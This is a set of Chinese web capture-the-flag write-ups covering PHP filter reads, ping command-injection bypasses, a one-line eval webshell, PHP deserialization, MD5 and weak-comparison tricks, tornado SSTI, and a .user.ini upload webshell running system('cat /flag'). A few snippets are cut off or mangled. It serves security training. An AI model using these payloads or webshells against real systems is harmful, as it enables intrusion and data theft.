Web类题目
Basic
[极客大挑战]Secret File
F12查看源码,发现一个网址,点击查看 进入后,发现转跳连接action.php,点击后显示查阅结束,考虑使用burp抓包 直接查看secr3t.php,发现flag.php,但在flag.php中显示flag在此网页中但无法看到flag,此时考虑使用php伪协议
- php伪协议:php://filter用于读取源码,php://input用于执行php代码
- php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
- php://input + [POST DATA]执行php代码 可以用于写入一句话木马
码一篇总结文:PHP伪协议总结
file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php被base64编码后的结果,解码后即可得到flag
[GXYCTF2019]Ping Ping Ping
给出get参数为ip,输入随便一个数为命令行执行ping $ip 的结果,考虑为命令注入题目,使用8.8.8.8 & ls 被过滤了空格
命令注入,指的是利用没有验证过的恶意命令或代码,对网站或服务器进行渗透工具,包括SQL注入,XSS注入等 对于本题主要关注于重点字符的绕过 连接符:命令可以使用&,|,;进行连接,首先执行第一个命令,随后执行连接符后的命令,在Linux下,;可以用%0a代替 空格绕过:可以采用$IFS、$IFS$9的局部变量来表示分隔符
因此在本题中首先使用?ip=8.8.8.8;ls 查看当前目录下所有文件,看到flag.php 下一步就是读取flag.php中的内容,直接访问时发现flag关键字被过滤,那么首先看index.php中的内容
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
可以考虑使用变量a,令a=g,?ip=8.8.8.8;a=g;cat$IFS$9fla$a.php ,因此在匹配正则表达式时,就可以被绕过,然后在执行命令的时候代入变量a的值,得到执行
[极客大挑战 2019]Knife
考题一目了然是一句话木马 而且已经上传好了一句话木马,只需要用菜刀连接即可,密码为Syc
一句话木马:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。 码一篇好文:Web安全-一句话木马
[极客大挑战 2019]Http
本题的考点是在对HTTP消息头的了解上。
HTTP请求报文:可以分成五部分,分别是请求方法(POST,GET等)、请求URL、HTTP协议及版本、报文头、报文体。 通常我们需要关注报文头,当请求方法为POST时也要关注报文体。 关于常用的http请求头以及响应头详解
首先打开题目,没有提示,查看题目的源码 在其中发现了隐藏的网址,直接访问显示 从这就开始考验对于http消息头的了解了,在这一步come from指的是前一个网址即Referer不是来自指定的网址,需要在发送头中添加Referer: https://Sycsecret.buuoj.cn ,在这一部分最好在Burp的repeater中进行,修改后又出现新的问题 进而需要将User-Agent修改为Syclover,而后新的问题再次出现。 在这一步也就是需要仿造IP地址即X-Forwarded-For,将其值修改为127.0.0.1 后即可得到flag
[RoarCTF 2019]Easy Calc
这题一开始我并没有理解题目意思,但认识到是利用PHP的一些特性进行绕过,经过题解查询补充了知识上的漏洞 首先将题目源码贴上:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
PHP字符串解析特性:PHP将查询仔细穿在解析过程中会将某些字符删除或者用下划线代替,%20foo_bar%00 会被解析为foo_bar变量名存储起来 如果waf不允许num传递字母,那么就可以在num前加个空格,这样waf就找不到num这个变量,但是在php解析的时候会先把空格去掉,这样代码还能正常运行 在这个题中,特殊字符是被防火墙所过滤掉,而不是在php解析是进行过滤,也正是因为如果才能利用php解析特性,绕过waf
利用scandir扫描文件夹,因为在php中“\”被过滤掉了因此使用chr进行绕过 %20num=var_dump(scandir(chr(47))) 发现向flag的文件,使用file_get_contents进行访问,得到flag
%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
方法二:Http走私攻击 关于HTTP请求走私攻击
[极客大挑战 2019]PHP
第一步,根据页面的提示找源码备份www.zip 这个是试了很多中备份找出来的,也可以采用dirsearch进行遍历查找
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
根据得到的源码可以大概判断,考点为PHP反序列化,需要绕过__wakeup和考虑private成员
php反序列化:直接参考之前写过的一篇博客【Web】反序列化漏洞【持续更新中】
整体来看就是需要传入select参数,参数的值为序列化后的字符串,这个字符串满足__destruct()函数的要求即$this->password == 100 同时也可以绕过__wakeup()函数,使得this->username==='admin' 从而显示flag。
O:4:"Name":3:{s:14:"\00Name\00username";s:5:"admin";s:14:"\00Name\00password";i:100;}
[ACTF2020 新生赛]BackupFile
又是一个找备份文件的题,本人比较喜欢用dirsearch,第一遍扫描的时候发现有很多429,应该是扫描太快的缘故,因此加上了延时5s(再短也会很多429),但是在扫描的时候时间太长了,因此又手动尝试了一些常用的备份文件后缀index.php.bak index.phps index.php.swp 等等,在index.php.bak 找到了备份文件
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
payload ?key=123
php弱类型比较:php中有两种比较的符号 == 与 === === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较 == 在进行比较的时候,会先将字符串类型转化成相同,再比较,转化时识别开头的数字,直到出现字母 var_dump(“admin”==0); //true var_dump(“1admin”==1); //true var_dump(“admin1”==1) //false var_dump(“admin1”==0) //true var_dump(“0e123456”==“0e4456789”); //true php 弱类型总结
[护网杯 2018]easy_tornado
给了三个文件,依次看一下
file?filename=/flag.txt&filehash=952cc5850043274fec1db5c05c82c1d2
/flag.txt
flag in /fllllllllllllag
file?filename=/welcome.txt&filehash=bf51865a74e399ad5d13db131b8f0909
/welcome.txt
render
file?filename=/hints.txt&filehash=2cc210defed2265be89c73353602be77
/hints.txt
md5(cookie_secret+md5(filename))
通过三个文件大概可以看出来,我们需要访问file=/fllllllllllllag,filehash=md5(cookie_secret+md5(/fllllllllllllag)) ,因此目前只差cookie_secret没有得到,查看消息头也没有看到有关的cookie,通过查看题解了解到此题考点为SSTI模板注入
SSTI模板注入:SSTI就是服务器端模板注入,SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。 如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。 tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。 SSTI完全学习
在flag.txt中可以看到flag存储在/flllllllllag 中,首先尝试将filename修改为flag所在位置。 修改msg参数的值,可以看到页面中的信息随之改变,同时结合题目的名字,考虑是tornado模板注入。
在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings[“cookie”])}},这个其实就是handler.settings对象,里面存储着一些环境变量。因此将msg参数修改为{{handler.settings }} ,从而得到cookie_secret
[极客大挑战 2019]BuyFlag
在menu中看到PAYFLAG,点击,查看源码
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
从这段代码中可以看出,我们需要使用POST方法提交password和money。跟之前的代码审计题目相同,password需要与404相同,但不能全为数字,令password值为404a。在提交后发现并没有改变,重新看页面You must be a student from CUIT!!! ,查看Header中,发现Cookie值为user=0 将其修改为user=1 ,可以得到反应。 将money值设为1000000得到number too long,考虑需要进行绕过。 常用方法为使用数组绕过money[]=1 最终得到flag
[HCTF 2018]admin
在首页的源码中看到<!-- you are not admin --> 说明需要登录为admin从而得到flag,首先使用弱密码进行尝试,或者使用burp的Intruder模块进行爆破从而成功登陆。
[BJDCTF2020]Easy MD5
第一个页面,源代码中没有提示,而后查看响应头发现Hint: select * from 'admin' where password=md5($pass,true) 也就是说需要输入一个参数,使其在进行md5运算后满足''or 6 ,通过wp发现ffifdyop可以绕过。 而后进入第二个页面
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
-->
也就是通过get方式输入两个参数a和b使得其值不同但md5值相同。
MD5绕过:
- 找出md5值都是两个0e开头的开头的,前提需要是弱类型比较才可以绕过,因为弱类型比较遇到字母时转义为0。(QNKCDZO、s155964671a、s1091221200a等)
- 数组绕过,md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的
?a[]=1&b[]=2
最后第三部分
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
通过POST方式,提交两个参数,使其值不同但md5相同,在这个地方是强比较因此不能使用方法一,只能使用方法二,得到flag
param1[]=a¶m2[]=b
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码审计类型的题目,输入text参数,使其与“Welcome to the zjctf”相同,可以使用data伪协议 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 第二部可以考虑查看useless.php这部分也使用php://filter伪协议进行查看 file=php://filter/read/convert.base64-encode/resource=useless.php ,得到useless.php的内容
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在这一部分是一个序列化的问题,传入file参数,反序列化后读出file的内容,因此我们需要使file=flag.php password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 将三部分合并在一起,最终得到flag
[SUCTF 2019]CheckIn
首先打开是文件上传类型的题目,一开始上传php文件失败,上传含有php代码的jpg文件也失败,说明文件中不能含有<? 因此改为考虑用JavaScript代码,同时上传的文件也经过了文件头的检测,因此需要在木马文件开头加入GIF89a等图片类型的文件头,用于逃过检测。
<script language='php'> system('cat /flag'); </script>
上传后发现不能被解析为php代码,查看WP发现可以利用.user.ini
.user.ini:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
因此需要写一个.user.ini文件
GIF89a
auto_prepend_file=a.jpg
使得文件夹中所有的php文件都包含有a.jpg文件,这样a.jpg文件中的代码就可以被执行
GIF89a
<script language='php'> system('cat /flag');</script>
上传后直接访问/uploads/文件名/index.php即可得到flag
|